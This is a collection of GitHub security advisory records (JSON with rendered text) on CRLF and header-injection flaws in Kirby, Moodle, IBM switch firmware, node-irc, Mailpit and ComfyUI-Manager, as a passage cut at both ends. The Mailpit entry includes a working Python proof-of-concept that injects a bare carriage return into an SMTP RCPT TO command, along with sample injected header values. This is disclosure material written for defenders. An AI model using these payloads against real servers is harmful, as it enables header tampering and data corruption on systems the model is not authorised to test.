"details": "### TL;DR\n\nThis vulnerability affects Kirby sites and plugins that use the `Kirby\\Http\\Remote` class (including `Remote::request()`, `Remote::get()`, `Remote::post()`, and similar helpers) to send outgoing HTTP requests and that pass untrusted, user-controlled data into the `headers` option of such a request.\n\nBy including newline characters in the value of the header, it was possible to inject a separate, independent header that was not intended to be set.\n\nA successful attack requires that an application or plugin forwards attacker-influenced input into a request header value. Sites that only send static, developer-defined headers are *not* affected. The attack does not target Panel users or site visitors directly; it targets the remote service that Kirby connects to.\n\nIn Kirby\u0027s default configuration, the `Remote` class is not exposed to untrusted input, so a default installation is *not* affected. The vulnerability becomes relevant for custom code, plugins, or integrations that build request headers from user input.\n\n----\n\n### Introduction\n\nHTTP header injection (also known as CRLF injection) is a type of vulnerability that allows an attacker to insert additional, attacker-controlled HTTP headers into a request or response. HTTP headers are separated by carriage-return and line-feed characters (`\\r\\n`). If untrusted data containing these characters is placed into a header value without sanitization, an attacker can terminate the intended header early and append headers of their own.\n\nFor outgoing requests, this means an attacker who controls part of a header value can add or override headers that the application did not intend to send. Depending on the remote service, this can be used to override security-relevant headers (such as `Authorization`, `Host`, or `Cookie`), to smuggle requests, or to poison caches on the upstream system.\n\nSuch vulnerabilities are relevant if untrusted input can reach the header values of an outgoing request \u2013 for example, a user-configurable API token, a forwarded tracking identifier, or any other value that originates from a request, form field, or content file.\n\n### Affected components\n\nThe `Kirby\\Http\\Remote` class is used throughout Kirby and by plugins to perform outgoing HTTP requests. Its `headers` option allows callers to define the headers sent with the request.\n\nAs the vulnerability is in the way `Remote` assembles these headers, it affects all code paths that send a `Remote` request whose header values contain untrusted data. The Kirby core itself has not passed untrusted data in that way, but plugins or custom code might have used the class in such a way.\n\n### Impact\n\nIn affected releases, header values passed to `Remote` were handed to the cURL request library without removing newline characters:\n\nThe `headers` option accepted arbitrary strings as header values and forwarded them to the underlying cURL request unchanged. A value containing `\\r\\n` was written verbatim to the socket and therefore split into several header lines on the wire.\n\nFor example, a single `X-Foo` header value of `\"Bar\\r\\nX-Injected: pwned\"` produced two separate headers in the outgoing request:\n\n```\nX-Foo: Bar\nX-Injected: pwned\n```\n\nThe receiving server parsed `X-Injected: pwned` as its own header. In the same way, an attacker could override a header that the application set earlier in the same request (for example, replacing a legitimate `Authorization` header).\n\nThe vulnerability allows attackers to inject or override HTTP headers in outgoing requests, provided the affected application or plugin includes attacker-controlled data in a header value.\n\n### Patches\n\nThe problem has been patched in [Kirby 4.9.4](https://github.com/getkirby/kirby/releases/tag/4.9.4) and [Kirby 5.4.4](https://github.com/getkirby/kirby/releases/tag/5.4.4). Please update to one of these or a [later version](https://github.com/getkirby/kirby/releases) to fix the vulnerability.\n\nIn all of the mentioned releases, we now strip carriage-return and line-feed characters from header values before they are passed to the underlying request, preventing additional headers from being injected.",
"id": "GHSA-4v4h-m2qq-ppgw",
"modified": "2026-06-18T15:04:47Z",
"published": "2026-06-18T15:04:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getkirby/kirby/security/advisories/GHSA-4v4h-m2qq-ppgw"
},
{
"type": "PACKAGE",
"url": "https://github.com/getkirby/kirby"
},
{
"type": "WEB",
"url": "https://github.com/getkirby/kirby/releases/tag/4.9.4"
},
{
"type": "WEB",
"url": "https://github.com/getkirby/kirby/releases/tag/5.4.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Kirby: Request header injection in `Http\\Remote`"
}
GHSA-4W8M-96V9-2C86
Vulnerability from github – Published: 2022-05-13 01:13 – Updated: 2024-01-17 18:51CRLF injection vulnerability in calendar/set.php in the Calendar component in Moodle 1.9.x before 1.9.15, 2.0.x before 2.0.6, 2.1.x before 2.1.3, and 2.2 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via vectors involving the url variable.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "2.0"
},
{
"fixed": "2.0.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "2.1"
},
{
"fixed": "2.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2011-4203"
],
"database_specific": {
"cwe_ids": [
"CWE-113",
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-17T18:51:01Z",
"nvd_published_at": "2011-12-22T15:29:00Z",
"severity": "MODERATE"
},
"details": "CRLF injection vulnerability in calendar/set.php in the Calendar component in Moodle 1.9.x before 1.9.15, 2.0.x before 2.0.6, 2.1.x before 2.1.3, and 2.2 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via vectors involving the url variable.",
"id": "GHSA-4w8m-96v9-2c86",
"modified": "2024-01-17T18:51:01Z",
"published": "2022-05-13T01:13:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-4203"
},
{
"type": "WEB",
"url": "https://github.com/moodle/moodle/commit/581e8dba387f090d89382115fd850d8b44351526"
},
{
"type": "WEB",
"url": "https://github.com/moodle/moodle/commit/ae7cc577b7115a7ad7a68dc4986aca9e2bda2cf5"
},
{
"type": "WEB",
"url": "https://github.com/moodle/moodle/commit/bc577df6a974606fcb0882b090b00ea5a4e10cf6"
},
{
"type": "WEB",
"url": "https://github.com/moodle/moodle/commit/e311b14364719b0f7851149ee51c1a4ec732635e"
},
{
"type": "PACKAGE",
"url": "https://github.com/moodle/moodle"
},
{
"type": "WEB",
"url": "https://moodle.org/mod/forum/discuss.php?d=191754"
},
{
"type": "WEB",
"url": "http://penturalabs.wordpress.com/2011/12/13/advisory-crlf-injection-vulnerability-in-moodle"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Moodle CRLF Injection Vulnerability in Calendar Component"
}
GHSA-528X-45H9-F5PQ
Vulnerability from github – Published: 2022-05-17 01:22 – Updated: 2022-05-17 01:22CRLF injection vulnerability in IBM Flex System EN6131 40Gb Ethernet and IB6131 40Gb Infiniband Switch firmware before 3.4.1110 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks and resulting web cache poisoning or cross-site scripting (XSS) attacks, or obtain sensitive information via multiple unspecified parameters.
{
"affected": [],
"aliases": [
"CVE-2014-9564"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-08-25T18:29:00Z",
"severity": "MODERATE"
},
"details": "CRLF injection vulnerability in IBM Flex System EN6131 40Gb Ethernet and IB6131 40Gb Infiniband Switch firmware before 3.4.1110 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks and resulting web cache poisoning or cross-site scripting (XSS) attacks, or obtain sensitive information via multiple unspecified parameters.",
"id": "GHSA-528x-45h9-f5pq",
"modified": "2022-05-17T01:22:31Z",
"published": "2022-05-17T01:22:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-9564"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/home/docdisplay?lndocid=MIGR-5098173"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/74931"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-52RH-5RPJ-C3W6
Vulnerability from github – Published: 2022-05-05 16:00 – Updated: 2026-02-11 21:54node-irc is a socket wrapper for the IRC protocol that extends Node.js' EventEmitter. The vulnerability allows an attacker to manipulate a Matrix user into executing IRC commands by having them reply to a maliciously crafted message. Incorrect handling of a CR character allowed for making part of the message be sent to the IRC server verbatim rather than as a message to the channel. The vulnerability has been patched in node-irc version 1.2.1.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.2.0"
},
"package": {
"ecosystem": "npm",
"name": "matrix-org-irc"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2022-05-05T16:00:50Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "node-irc is a socket wrapper for the IRC protocol that extends Node.js\u0027 EventEmitter. The vulnerability allows an attacker to manipulate a Matrix user into executing IRC commands by having them reply to a maliciously crafted message. Incorrect handling of a CR character allowed for making part of the message be sent to the IRC server verbatim rather than as a message to the channel.\nThe vulnerability has been patched in node-irc version 1.2.1.",
"id": "GHSA-52rh-5rpj-c3w6",
"modified": "2026-02-11T21:54:44Z",
"published": "2022-05-05T16:00:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/matrix-org/node-irc/security/advisories/GHSA-52rh-5rpj-c3w6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29166"
},
{
"type": "WEB",
"url": "https://github.com/matrix-org/node-irc/commit/2976c856df37660a9d664e94c857c796de2e34f7"
},
{
"type": "WEB",
"url": "https://github.com/matrix-org/node-irc/commit/e3eb9c15f8240e9c92365f5ffc3944469229771b"
},
{
"type": "PACKAGE",
"url": "https://github.com/matrix-org/node-irc"
},
{
"type": "WEB",
"url": "https://matrix.org/blog/2022/05/04/0-34-0-security-release-for-matrix-appservice-irc-high-severity"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Improper handling of multiline messages in node-irc"
}
GHSA-54WQ-72MP-CQ7C
Vulnerability from github – Published: 2026-01-20 17:54 – Updated: 2026-02-02 14:50Vulnerability Report: SMTP Header Injection via Regex Bypass
Vulnerable Code: mailpit/internal/smtpd/smtpd.go
Executive Summary
Mailpit's SMTP server is vulnerable to Header Injection due to an insufficient Regular Expression used to validate RCPT TO and MAIL FROM addresses. An attacker can inject arbitrary SMTP headers (or corrupt existing ones) by including carriage return characters (\r) in the email address. This header injection occurs because the regex intended to filter control characters fails to exclude \r and \n when used inside a character class.
RFC Compliance & Design Analysis
"Is this behavior intentional for a testing tool?" No. While testing tools are often permissive, this specific behavior violates the core SMTP protocol and fails the developer's own intent.
- RFC 5321 Violation: The SMTP protocol strictly forbids Control Characters (CR, LF, Null) in the envelope address (
Mailbox).- RFC 5321 Section 4.1.2: A
Mailboxconsists of anAtomorQuoted-string. AnAtomexplicitly excludes "specials, SPACE and CTLs" (Control Characters).
- RFC 5321 Section 4.1.2: A
- Failed Intent: The existence of
\vin the regex[^<>\v]proves the developer intended to block vertical whitespace. The vulnerability is that\vin Go regex (re2) inside brackets[]matches only Vertical Tab, not CR/LF. If the design were to allow everything, the\vexclusion wouldn't exist. - Data Corruption: Allowing
\rresults in the generation of malformed.emlfiles where theReceivedheader is broken. This is not a feature; it's a bug that creates invalid email files. - RFC 5321 also enforces address lengths which are not applied in Mailpit.
Technical Analysis
The Flaw
The vulnerability exists in the regex definitions used to parse SMTP commands:
// internal/smtpd/smtpd.go:32-33
rcptToRE = regexp.MustCompile(`(?i)TO: ?<([^<>\v]+)>( |$)(.*)?`)
mailFromRE = regexp.MustCompile(`(?i)FROM: ?<(|[^<>\v]+)>( |$)(.*)?`)
The developer likely intended [^<>\v] to mean "Match anything that is NOT a < OR > OR Vertical Whitespace".
However, in Go's regexp (RE2) syntax, the behavior of \v changes depending on context:
- Outside brackets: \v matches all vertical whitespace: [\n\v\f\r\x85\u2028\u2029].
- Inside brackets ([...]): \v matches only the Vertical Tab character (\x0B).
Result: The regex [^<>\v] allows Carriage Return (\r) and Line Feed (\n) characters to pass through, as they are not < or > or \x0B.
Exploit Scenario
Exploit Scenario
When Mailpit constructs the Received header, it uses the validated recipient address directly:
// internal/smtpd/smtpd.go:865
buffer.WriteString(fmt.Sprintf(" for <%s>; %s\r\n", to[0], now))
If to[0] contains victim\rINJECTED-HEADER: YES, the resulting string in memory becomes:
for <victim\rINJECTED-HEADER: YES>; ...
While bufio.ReadString prevents injecting immediate \n (newlines), \r (Carriage Return) bypasses this check.
The Result: The stored EML file contains a "Bare CR".
- RFC Violation: RFC 5321 strictly forbids Bare CR. Lines must end in CRLF.
- UI Behavior: Browsers typically render Bare CR as a space, so it may look like victim INJECTED in the Mailpit UI.
- Real Impact: The raw email is corrupted. If this email is exported or relayed, downstream systems (Outlook, older MTAs) may interpret the Bare CR as a line break, triggering a full Header Injection. Furthermore, Mailpit failing to reject this gives developers a false sense of security, as their code might be generating malformed emails that work in Mailpit but fail in production (e.g., with Gmail or Exchange).
Raw EML Verification
The following screenshot of the raw .eml file confirms that the \r character successfully broke the Received header structure in the stored file, effectively creating a new line for the injected content.
As seen in lines of the screenshot:
for <victim
INJECTED_VIA_CR:YES>; Tue, 13 Jan ...
The INJECTED_VIA_CR:YES payload is treated as a start of a new line by the text editor (VS Code), which honors \r as a line break. This proves the injection matches the "Bare CR" attack vector.
Additional Proof of Concepts
1. Null Byte Injection (\x00)
The regex [^<>\v]+ also allows the Null Byte (\x00).
Test: test_null_byte.py sent RCPT TO:<victim\x00-NULL-BYTE-HERE>.
Result: Server accepted the message (250 OK).
Impact: The API returns an empty [] for the To field in the message summary, indicating the parser failure in the UI/API layer. The raw message content confirms the Null Byte is stored in the database.
3. Detailed Character Compatibility
Tests (0-127 ASCII) confirm that the regex [^<>\v] blocks only the following:
- < (Less Than)
- > (Greater Than)
- \x0B (Vertical Tab)
Crucially, it ALLOWS:
| Character | Hex | Regex Status | Network Status | Impact |
| :--- | :--- | :--- | :--- | :--- |
| Carriage Return | \r (0x0D) | ALLOWED | Passed | Header Injection |
| Line Feed | \n (0x0A) | ALLOWED | Blocked | Blocked by bufio.ReadString, not regex. |
| Null Byte | \x00 (0x00) | ALLOWED | Passed | API DoS / Corrupt Data |
| Tab | \t (0x09) | ALLOWED | Passed | Formatting issues |
| Delete | \x7F (0x7F) | ALLOWED | Passed | Potential obfuscation |
| Controls | 0x01-0x1F | ALLOWED | Passed | (Except 0x0A, 0x0B, 0x0D) |
This confirms that the regex fails to implement a proper "Safe Text" allowlist, defaulting instead to a flawed denylist.
Proof of Concept
The following Python script demonstrates the injection of a "bare CR" into the headers, which is successfully accepted by the server.
import socket
def exploit():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 1025))
s.recv(1024)
s.send(b"EHLO test.com\r\n")
s.recv(1024)
s.send(b"MAIL FROM:<attacker@evil.com>\r\n")
s.recv(1024)
# Injecting \r
payload = b"RCPT TO:<victim\rX-Injected: Yes>\r\n"
s.send(payload)
resp = s.recv(1024)
print(f"Server Response: {resp.decode()}") # Expect 250 OK
s.send(b"DATA\r\n")
s.recv(1024)
s.send(b"Subject: Test\r\n\r\nBody\r\n.\r\n")
s.recv(1024)
s.close()
exploit()
Remediation
Update the regex to explicitly exclude \r and \n, or use the correct character class escape for control characters.
Recommended Fix:
Use \x00-\x1F to exclude all ASCII control characters.
// Fix: Exclude all control characters explicitly
rcptToRE = regexp.MustCompile(`(?i)TO: ?<([^<>\x00-\x1f]+)>( |$)(.*)?`)
mailFromRE = regexp.MustCompile(`(?i)FROM: ?<(|[^<>\x00-\x1f]+)>( |$)(.*)?`)
Alternatively, strictly exclude CR and LF:
rcptToRE = regexp.MustCompile(`(?i)TO: ?<([^<>\r\n]+)>( |$)(.*)?`)
Classification & References
- CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')
- CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences
- OWASP: Injection Flaws
- CAPEC-106: Command Injection (Related usage pattern)
- [RFC 5321 Section 4.5.3.1 - Size Limits](https://datatracker.ietf.org/doc/html/rfc5321#section-4.5.3.1)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.28.2"
},
"package": {
"ecosystem": "Go",
"name": "github.com/axllent/mailpit"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.28.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-23829"
],
"database_specific": {
"cwe_ids": [
"CWE-150",
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-20T17:54:55Z",
"nvd_published_at": "2026-01-19T00:15:48Z",
"severity": "MODERATE"
},
"details": "# Vulnerability Report: SMTP Header Injection via Regex Bypass\n\n**Vulnerable Code:** `mailpit/internal/smtpd/smtpd.go`\n\n## Executive Summary\nMailpit\u0027s SMTP server is vulnerable to **Header Injection** due to an insufficient Regular Expression used to validate `RCPT TO` and `MAIL FROM` addresses. An attacker can inject arbitrary SMTP headers (or corrupt existing ones) by including carriage return characters (`\\r`) in the email address. This header injection occurs because the regex intended to filter control characters fails to exclude `\\r` and `\\n` when used inside a character class.\n\n## RFC Compliance \u0026 Design Analysis\n**\"Is this behavior intentional for a testing tool?\"**\nNo. While testing tools are often permissive, this specific behavior violates the core SMTP protocol and fails the developer\u0027s own intent.\n\n1. **RFC 5321 Violation:** The SMTP protocol strictly forbids Control Characters (CR, LF, Null) in the envelope address (`Mailbox`).\n * *RFC 5321 Section 4.1.2:* A `Mailbox` consists of an `Atom` or `Quoted-string`. An `Atom` explicitly excludes \"specials, SPACE and CTLs\" (Control Characters).\n2. **Failed Intent:** The existence of `\\v` in the regex `[^\u003c\u003e\\v]` proves the developer **intended** to block vertical whitespace. The vulnerability is that `\\v` in Go regex (`re2`) inside brackets `[]` matches *only* Vertical Tab, not CR/LF. If the design were to allow everything, the `\\v` exclusion wouldn\u0027t exist.\n3. **Data Corruption:** Allowing `\\r` results in the generation of malformed `.eml` files where the `Received` header is broken. This is not a feature; it\u0027s a bug that creates invalid email files.\n4. RFC 5321 also enforces address lengths which are not applied in Mailpit.\n\n## Technical Analysis\n\n### The Flaw\nThe vulnerability exists in the regex definitions used to parse SMTP commands:\n\n```go\n// internal/smtpd/smtpd.go:32-33\nrcptToRE = regexp.MustCompile(`(?i)TO: ?\u003c([^\u003c\u003e\\v]+)\u003e( |$)(.*)?`)\nmailFromRE = regexp.MustCompile(`(?i)FROM: ?\u003c(|[^\u003c\u003e\\v]+)\u003e( |$)(.*)?`)\n```\n\nThe developer likely intended `[^\u003c\u003e\\v]` to mean \"Match anything that is NOT a `\u003c` OR `\u003e` OR `Vertical Whitespace`\".\n\nHowever, in Go\u0027s `regexp` (RE2) syntax, the behavior of `\\v` changes depending on context:\n- **Outside** brackets: `\\v` matches all vertical whitespace: `[\\n\\v\\f\\r\\x85\\u2028\\u2029]`.\n- **Inside** brackets (`[...]`): `\\v` matches **only** the Vertical Tab character (`\\x0B`).\n\n**Result:** The regex `[^\u003c\u003e\\v]` **allows** Carriage Return (`\\r`) and Line Feed (`\\n`) characters to pass through, as they are not `\u003c` or `\u003e` or `\\x0B`.\n\n### Exploit Scenario\n### Exploit Scenario\nWhen Mailpit constructs the `Received` header, it uses the validated recipient address directly:\n\n```go\n// internal/smtpd/smtpd.go:865\nbuffer.WriteString(fmt.Sprintf(\" for \u003c%s\u003e; %s\\r\\n\", to[0], now))\n```\n\nIf `to[0]` contains `victim\\rINJECTED-HEADER: YES`, the resulting string in memory becomes:\n\n```text\n for \u003cvictim\\rINJECTED-HEADER: YES\u003e; ...\n```\n\nWhile `bufio.ReadString` prevents injecting immediate `\\n` (newlines), `\\r` (Carriage Return) bypasses this check. \n\n**The Result:** The stored EML file contains a \"Bare CR\".\n- **RFC Violation:** RFC 5321 strictly forbids Bare CR. Lines must end in CRLF.\n- **UI Behavior:** Browsers typically render Bare CR as a space, so it may look like `victim INJECTED` in the Mailpit UI.\n- **Real Impact:** The raw email is corrupted. If this email is exported or relayed, downstream systems (Outlook, older MTAs) may interpret the Bare CR as a line break, triggering a full **Header Injection**. Furthermore, Mailpit failing to reject this gives developers a **false sense of security**, as their code might be generating malformed emails that work in Mailpit but fail in production (e.g., with Gmail or Exchange).\n\n### Raw EML Verification\nThe following screenshot of the raw `.eml` file confirms that the `\\r` character successfully broke the `Received` header structure in the stored file, effectively creating a new line for the injected content.\n\n\u003cimg width=\"621\" height=\"230\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1611f07e-316d-436a-95d6-9b14c9a8ecc6\" /\u003e\n\n\u003cimg width=\"1058\" height=\"441\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9543d904-6e0a-4c8b-b283-abbe05b752d0\" /\u003e\n\n\u003cimg width=\"668\" height=\"196\" alt=\"image\" src=\"https://github.com/user-attachments/assets/907e4467-aab6-4bb4-83ce-743af4f6ba8d\" /\u003e\n\n\n\nAs seen in lines of the screenshot:\n```text\n for \u003cvictim\nINJECTED_VIA_CR:YES\u003e; Tue, 13 Jan ...\n```\nThe `INJECTED_VIA_CR:YES` payload is treated as a start of a new line by the text editor (VS Code), which honors `\\r` as a line break. This proves the injection matches the \"Bare CR\" attack vector.\n\n## Additional Proof of Concepts\n\n### 1. Null Byte Injection (`\\x00`)\nThe regex `[^\u003c\u003e\\v]+` also allows the Null Byte (`\\x00`).\n**Test:** `test_null_byte.py` sent `RCPT TO:\u003cvictim\\x00-NULL-BYTE-HERE\u003e`.\n**Result:** Server accepted the message (`250 OK`).\n**Impact:** The API returns an empty `[]` for the To field in the message summary, indicating the parser failure in the UI/API layer. The raw message content confirms the Null Byte is stored in the database.\n\n### 3. Detailed Character Compatibility\nTests (0-127 ASCII) confirm that the regex `[^\u003c\u003e\\v]` blocks **only** the following:\n- `\u003c` (Less Than)\n- `\u003e` (Greater Than)\n- `\\x0B` (Vertical Tab)\n\n**Crucially, it ALLOWS:**\n| Character | Hex | Regex Status | Network Status | Impact |\n| :--- | :--- | :--- | :--- | :--- |\n| **Carriage Return** | `\\r` (`0x0D`) | **ALLOWED** | **Passed** | **Header Injection** |\n| **Line Feed** | `\\n` (`0x0A`) | **ALLOWED** | Blocked* | *Blocked by `bufio.ReadString`, not regex. |\n| **Null Byte** | `\\x00` (`0x00`) | **ALLOWED** | **Passed** | API DoS / Corrupt Data |\n| **Tab** | `\\t` (`0x09`) | **ALLOWED** | **Passed** | Formatting issues |\n| **Delete** | `\\x7F` (`0x7F`) | **ALLOWED** | **Passed** | Potential obfuscation |\n| **Controls** | `0x01`-`0x1F` | **ALLOWED** | **Passed** | (Except `0x0A`, `0x0B`, `0x0D`) |\n\n*This confirms that the regex fails to implement a proper \"Safe Text\" allowlist, defaulting instead to a flawed denylist.*\n\n## Proof of Concept\nThe following Python script demonstrates the injection of a \"bare CR\" into the headers, which is successfully accepted by the server.\n\n```python\nimport socket\n\ndef exploit():\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((\"127.0.0.1\", 1025))\n s.recv(1024)\n s.send(b\"EHLO test.com\\r\\n\")\n s.recv(1024)\n s.send(b\"MAIL FROM:\u003cattacker@evil.com\u003e\\r\\n\")\n s.recv(1024)\n \n # Injecting \\r \n payload = b\"RCPT TO:\u003cvictim\\rX-Injected: Yes\u003e\\r\\n\"\n s.send(payload)\n resp = s.recv(1024)\n print(f\"Server Response: {resp.decode()}\") # Expect 250 OK\n \n s.send(b\"DATA\\r\\n\")\n s.recv(1024)\n s.send(b\"Subject: Test\\r\\n\\r\\nBody\\r\\n.\\r\\n\")\n s.recv(1024)\n s.close()\n \nexploit()\n```\n\n## Remediation\nUpdate the regex to explicitly exclude `\\r` and `\\n`, or use the correct character class escape for control characters.\n\n**Recommended Fix:**\nUse `\\x00-\\x1F` to exclude all ASCII control characters.\n\n```go\n// Fix: Exclude all control characters explicitly\nrcptToRE = regexp.MustCompile(`(?i)TO: ?\u003c([^\u003c\u003e\\x00-\\x1f]+)\u003e( |$)(.*)?`)\nmailFromRE = regexp.MustCompile(`(?i)FROM: ?\u003c(|[^\u003c\u003e\\x00-\\x1f]+)\u003e( |$)(.*)?`)\n```\n\nAlternatively, strictly exclude CR and LF:\n```go\nrcptToRE = regexp.MustCompile(`(?i)TO: ?\u003c([^\u003c\u003e\\r\\n]+)\u003e( |$)(.*)?`)\n```\n## Classification \u0026 References\n- **CWE-93:** [Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)](https://cwe.mitre.org/data/definitions/93.html)\n- **CWE-150:** [Improper Neutralization of Escape, Meta, or Control Sequences](https://cwe.mitre.org/data/definitions/150.html)\n- **OWASP:** [Injection Flaws](https://owasp.org/www-community/attacks/Injection_Flaws)\n- **CAPEC-106:** [Command Injection](https://capec.mitre.org/data/definitions/106.html) (Related usage pattern)\n- [[RFC 5321 Section 4.5.3.1 - Size Limits](https://datatracker.ietf.org/doc/html/rfc5321#section-4.5.3.1)](https://datatracker.ietf.org/doc/html/rfc5321#section-4.5.3.1)",
"id": "GHSA-54wq-72mp-cq7c",
"modified": "2026-02-02T14:50:34Z",
"published": "2026-01-20T17:54:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axllent/mailpit/security/advisories/GHSA-54wq-72mp-cq7c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23829"
},
{
"type": "WEB",
"url": "https://github.com/axllent/mailpit/commit/36cc06c125954dec6673219dafa084e13cc14534"
},
{
"type": "PACKAGE",
"url": "https://github.com/axllent/mailpit"
},
{
"type": "WEB",
"url": "https://github.com/axllent/mailpit/releases/tag/v1.28.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Mailpit has an SMTP Header Injection via Regex Bypass"
}
GHSA-562R-8445-54R2
Vulnerability from github – Published: 2026-01-13 19:02 – Updated: 2026-06-10 18:06Impact
Vulnerability Type: CRLF Injection via ConfigParser
An attacker can inject special characters into HTTP query parameters to add arbitrary configuration values to the config.ini file. This can lead to security setting tampering or modification of application behavior.
Affected Users: Users running ComfyUI-Manager in environments where ComfyUI is configured with the --listen option to allow remote access.
CVSS Score: 7.5 (High)
Patches
Fixed in the following versions: - 3.39.2 (v3.x branch) - 4.0.5 (v4.x branch)
Sanitization logic was added to the write_config() function to remove CRLF and NULL characters from all string values.
Workarounds
If upgrading is not possible:
- Run ComfyUI-Manager only on trusted networks
- Block external access via firewall
- Run on localhost only without the --listen option
References
Credit
This vulnerability was reported by: - 李存义 xiaoheihei1107@gmail.com - D0n9 Li wyd0n9@gmail.com - Swings swing@mail.exp.sh - Osword from SGLAB of Legendsec at Qi'anxin Group zhzhdoai@gmail.com
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.0.4"
},
"package": {
"ecosystem": "PyPI",
"name": "comfy-cli"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.0.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "comfy-cli"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.39.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22777"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-13T19:02:52Z",
"nvd_published_at": "2026-01-10T07:16:03Z",
"severity": "HIGH"
},
"details": "## Impact\n\n**Vulnerability Type**: CRLF Injection via ConfigParser\n\nAn attacker can inject special characters into HTTP query parameters to add arbitrary configuration values to the `config.ini` file. This can lead to security setting tampering or modification of application behavior.\n\n**Affected Users**: Users running ComfyUI-Manager in environments where ComfyUI is configured with the `--listen` option to allow remote access.\n\n**CVSS Score**: 7.5 (High)\n\n## Patches\n\nFixed in the following versions:\n- **3.39.2** (v3.x branch)\n- **4.0.5** (v4.x branch)\n\nSanitization logic was added to the `write_config()` function to remove CRLF and NULL characters from all string values.\n\n## Workarounds\n\nIf upgrading is not possible:\n- Run ComfyUI-Manager only on trusted networks\n- Block external access via firewall\n- Run on localhost only without the `--listen` option\n\n## References\n\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [OWASP CRLF Injection](https://owasp.org/www-community/vulnerabilities/CRLF_Injection)\n\n## Credit\n\nThis vulnerability was reported by:\n- \u674e\u5b58\u4e49 \u003cxiaoheihei1107@gmail.com\u003e\n- D0n9 Li \u003cwyd0n9@gmail.com\u003e\n- Swings \u003cswing@mail.exp.sh\u003e\n- Osword from SGLAB of Legendsec at Qi\u0027anxin Group \u003czhzhdoai@gmail.com\u003e",
"id": "GHSA-562r-8445-54r2",
"modified": "2026-06-10T18:06:48Z",
"published": "2026-01-13T19:02:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Comfy-Org/ComfyUI-Manager/security/advisories/GHSA-562r-8445-54r2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22777"
},
{
"type": "WEB",
"url": "https://github.com/Comfy-Org/ComfyUI-Manager/commit/ef8703a3d7ab4e6ecda8f96e0c5816c23d1cb262"
},
{
"type": "WEB",
"url": "https://github.com/Comfy-Org/ComfyUI-Manager/commit/f4fa394e0f03b013f1068c96cff168ad10bd0410"
},
{
"type": "PACKAGE",
"url": "https://github.com/Comfy-Org/ComfyUI-Manager"
}
],
"schema_version": "1.4.0",
